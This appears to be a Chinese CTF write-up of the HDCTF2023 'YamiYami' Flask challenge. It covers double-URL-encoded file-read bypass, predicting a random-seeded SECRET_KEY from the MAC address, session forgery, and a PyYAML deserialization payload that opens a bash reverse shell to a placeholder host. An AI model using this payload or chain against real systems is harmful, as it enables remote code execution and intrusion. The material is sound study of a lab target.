NSSCTF-HDCTF2023-Yami题解记录

WEB

上周六无意看到有个比赛,本菜鸡参加学习了下,也没有做出几道题目,第一次做个记录push下自己,向大佬学习Orz

【YamiYami】

题目链接
考察点->【python伪随机数、Pyyaml反序列化、Session伪造、任意文件读取】

  • 进入题目:
    NSSCTF-HDCTF2023-Yami题解记录_第1张图片
    whatweb看一下:
    NSSCTF-HDCTF2023-Yami题解记录_第2张图片
  • 有三个功能,访问看看:
    1、Read somethings
    NSSCTF-HDCTF2023-Yami题解记录_第3张图片
    2、Upload file
    NSSCTF-HDCTF2023-Yami题解记录_第4张图片
    3、pwd
    NSSCTF-HDCTF2023-Yami题解记录_第5张图片
  • 这么明显,尝试任意文件读取,读取源码app.py试试,发现有过滤:
    NSSCTF-HDCTF2023-Yami题解记录_第6张图片
  • 另外结合路径为/app,采用URL双重编码尝试绕过waf:
app/app.py -> %61%70%70/%61%70%70%2E%70%79 --> %2561%2570%2570/%2561%2570%2570%252E%2570%2579
  • 成功读取到的源码 app.py
    NSSCTF-HDCTF2023-Yami题解记录_第7张图片

  • 调整下格式

# encoding:utf-8
import os
import requests
import re, random, uuid
from flask import *
from werkzeug.utils import *
import yaml #问题所在 pyyaml反序列化
from urllib.request import urlopen

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 233)
app.debug = False
BLACK_LIST = ["yaml", "YAML", "YML", "yml", "yamiyami"]
app.config['UPLOAD_FOLDER'] = "/app/uploads"


@app.route('/')
def index():
    session['passport'] = 'YamiYami'
    return '''
    Welcome to HDCTF2023 Read somethings
    
Here is the challenge Upload file
Enjoy it pwd '''
@app.route('/pwd') def pwd(): return str(pwdpath) @app.route('/read') def read(): try: url = request.args.get('url') m = re.findall('app.*', url, re.IGNORECASE) n = re.findall('flag', url, re.IGNORECASE) if m: return "re.findall('app.*', url, re.IGNORECASE)" if n: return "re.findall('flag', url, re.IGNORECASE)" res = urlopen(url) return res.read() except Exception as ex: print(str(ex)) return 'no response' def allowed_file(filename): for blackstr in BLACK_LIST: if blackstr in filename: return False return True @app.route('/upload', methods=['GET', 'POST']) def upload_file(): if request.method == 'POST': if 'file' not in request.files: flash('No file part') return redirect(request.url) file = request.files['file'] if file.filename == '': return "Empty file" if file and allowed_file(file.filename): filename = secure_filename(file.filename) if not os.path.exists('./uploads/'): os.makedirs('./uploads/') file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename)) return "upload successfully!" return render_template("index.html") @app.route('/boogipop') def load(): if session.get("passport") == "Welcome To HDCTF2023": LoadedFile = request.args.get("file") if not os.path.exists(LoadedFile): return "file not exists" with open(LoadedFile) as f: yaml.full_load(f) f.close() return "van you see" else: return "No Auth bro" if __name__ == '__main__':`在这里插入代码片` pwdpath = os.popen("pwd").read() app.run( debug=False, host="0.0.0.0" ) print(app.config['SECRET_KEY'])

里面包含了一些信息,比如SECRET_KEY的生成方式、session的要求等。

  • session伪造
    源码看到了session需要满足要求才会有权限读取上传的文件,由于伪造session需要密钥SECRET_KEY,而密钥SECRET_KEY的生成方式源码也已经给出了:
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)

对于伪随机数,当seed固定时,生成的随机数是可以预测的,也就是顺序为固定的,所以只要知道seed的值即可。这里看到seed使用的uuid.getnode()函数,该函数用于获取Mac地址并将其转换为整数。所以我们还需要读一下Mac地址。

http://node2.anna.nssctf.cn:28523/read?url=file:///sys/class/net/eth0/address

NSSCTF-HDCTF2023-Yami题解记录_第8张图片

  • 将获取到的地址生成一下密钥:
import uuid,random
random.seed(0x0242ac024e21)
print(str(random.random()*233))
#55.336419941123516
  • session伪造使用到了大佬们都使用的github的工具:flask-session-cookie-manager
    1、解密识别session明文格式:
    在这里插入图片描述
    2、重新生成目标session:
    在这里插入图片描述
    session伪造完成后,一会可直接利用。

接下来就是构造并上传yml文件进行反序列化:

- !!python/object/new:str
    args: []
    state: !!python/tuple
    - "__import__('os').system('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"')"
    - !!python/object/new:staticmethod
      args: [0]
      state:
        update: !!python/name:exec

命名为expp.txt,在upload页面进行上传。由于上传文件后缀设置了黑名单,所以直接采用.txt文件,那为什么.txt也能被当作.yaml来解析呢。猜测可能是:这里full_load调用了load函数,而load函数输入的是一个steam,也就是流,二进制文件,所以不管是什么后缀都无关紧要了。
NSSCTF-HDCTF2023-Yami题解记录_第9张图片
上传成功后通过源码可知文件访问路径为/boogipop?file=/uploads/
NSSCTF-HDCTF2023-Yami题解记录_第10张图片
访问测试,正常来说没有权限:
NSSCTF-HDCTF2023-Yami题解记录_第11张图片
vps监听端口,替换生成好的session后再次访问,成功反弹shell:
NSSCTF-HDCTF2023-Yami题解记录_第12张图片
常规操作在根目录寻找flag下落:

NSSCTF-HDCTF2023-Yami题解记录_第13张图片

另外还有个骚操作也就是非预期解,第一步任意文件读取直接读环境变量file=///proc/1/environ emmm:
在这里插入图片描述

你可能感兴趣的:(ctf-wp,flask,python,网络安全,web安全)